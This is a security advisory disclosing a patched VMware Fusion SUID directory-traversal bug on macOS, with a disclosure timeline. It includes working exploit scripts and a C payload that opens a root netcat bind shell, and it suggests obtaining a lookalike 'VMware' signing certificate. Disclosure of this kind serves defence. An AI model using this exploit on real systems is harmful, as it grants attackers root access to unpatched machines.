Overview:
A directory traversal vulnerability in VMware Fusion's SUID
binaries can allow
an attacker to run commands as the root user.
Tested Versions:
* VMware Fusion 10.1.3 (9472307) on macOS 10.13.6
* VMware Fusion 11.0.0 (10120384) on macOS 10.14.1
* VMware Fusion 11.0.2 (10952296) on macOS 10.14.1
* VMware Fusion 11.5.0 (14634996) on macOS 10.15.1
* VMware Fusion 11.5.1 (15018442) on macOS 10.15.1
Exercising:
1) Ensure the VMware Fusion services are not running. If open, quit
the VMware
Fusion GUI.
2) Run one of the exploit script (exploit_fusion.sh or
exploit_usb.sh). They
will remain running until manually stopped via CTRL-c. The exploit
will start
a netcat listener as root on TCP port 3333.
3) Connect to the netcat listener: nc 127.0.0.1 3333
Details:
This vulnerability is a directory traversal bug inside of VMware
Fusion. Several
of the programs included in VMware Fusion rely on the their path on
disk to find
other libraries, helper utilities, and service daemons. Two such
instances of
this code pattern in SUID programs can be found in the "Open VMware
Fusion
Services" executable and the "Open VMware USB Arbitrator Service"
executable.
These programs try to open the service programs by looking for the
files:
Open VMware Fusion Services:
$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware
Fusion Services
Open VMware USB Arbitrator Service:
$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware
USB Arbitrator Service
While ordinarily this is fine, as any attempt to copy the
programs will not copy
the SUID ownership of the file and any attempt to the move the
programs will
fail without root access. Furthermore symbolic links will not trick
the programs
into using the new location. However, on macOS unprivileged users
can create
hard links to SUID executables, which will trick the programs.
Thus, by creating
an adequate directory layout and hard linking to the SUID programs,
we can trick
them into running an executable of our choice as the root user. The
included
exploit_usb.sh and exploit_fusion.sh scripts setup the correct
directory
structure and hard link, compile the payload, and run the linked
program in
order to start a netcat listener as root on TCP port 3333.
In addition to the two SUID executables listed above, the SUID
executable
"vmware-authd" is also vulnerable to this bug. vmware-authd tries
to load two
libraries, libcrypto and libssl, from the incorrect directory.
However, the two
libraries must be signed by apple or with an apple distributed
signing
certificate from an organization containing the word "VMware". As
such, this bug
is harder to exploit in vmware-authd. Depending on how strict
Apple's developer
verification process is, it may be possible to fool Apple into
granting a
matching certificate by hiding VMware within a phrase, such as with
a
certificate for "Never Mind Where cloud services inc (NVMware
Inc)".
One limitation to this vulnerability is that these two
vulnerable service
openers will not try to open their services if the service is
already running.
Thus, the exploit will not work if the "VMware USB Arbitrator
Service" and
"VMware Fusion Services" services are already running. Thus, if the
VMware
Fusion GUI is open, this vulnerability cannot be exploited.
However, closing the
GUI will stop the services associated with the vulnerable service
openers and
make the vulnerability once again exploitable. In contrast, the
library
injection attack is not subject to these restrictions (but requires
the
appropriate certificate).
As a side note, the vulnerable code is also used in VMware
Workstation on Linux.
However, Linux does not allow an unprivileged user to create hard
links to files
they do not own. As such, this bug is not exploitable in VMware
Workstation on
Linux.
Timeline:
2019.11.12 Reported to VMware
2019.12.18 VMware confirms they can reproduce the issue
2019.12.24 Asked for status update, were told we'd get an update in
early Jan
2020.01.08 Requested status update, were told fix scheduled for
April 2020
2020.01.15 Called VMware to discuss
2020.01.21 Follow up meeting with VMware to discuss
2020.03.17 VMware releases patch & public disclosure
## exploit_fusion.sh
```
#!/bin/sh
# Remake the necessary folder structure
rm -rf a Contents
mkdir -p Contents/Library/services/
mkdir -p a/b/c/
# Build our payload
clang payload.c -o "Contents/Library/services/VMware Fusion
Services"
# Create a hard link to the VMware SUID opener program
ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\
VMware\ Fusion\ Services a/b/c/linked
# Run the linked program, which causes it to be confused about
the path, and
# launch our payload. Additionally if our payload exits, VMware
will relaunch
# it
a/b/c/linked
```
## exploit_fusion.sh EOF
## exploit_usb.sh
```
#!/bin/sh
# Remake the necessary folder structure
rm -rf a Contents
mkdir -p Contents/Library/services/
mkdir -p a/b/c/
# Build our payload
clang payload.c -o "Contents/Library/services/VMware USB Arbitrator
Service"
# Create a hard link to the VMware SUID opener program
ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\
VMware\ USB\ Arbitrator\ Service a/b/c/linked
# Run the linked program, which causes it to be confused about
the path, and
# launch our payload. Additionally if our payload exits, VMware
will relaunch
# it
a/b/c/linked
```
## exploit_usb.sh EOF
## payload.c
```
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char**argv) {
setuid(0);
system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i
2>&1 | nc -l 3333 > /tmp/f");
return 0;
}
```
## payload.c EOF
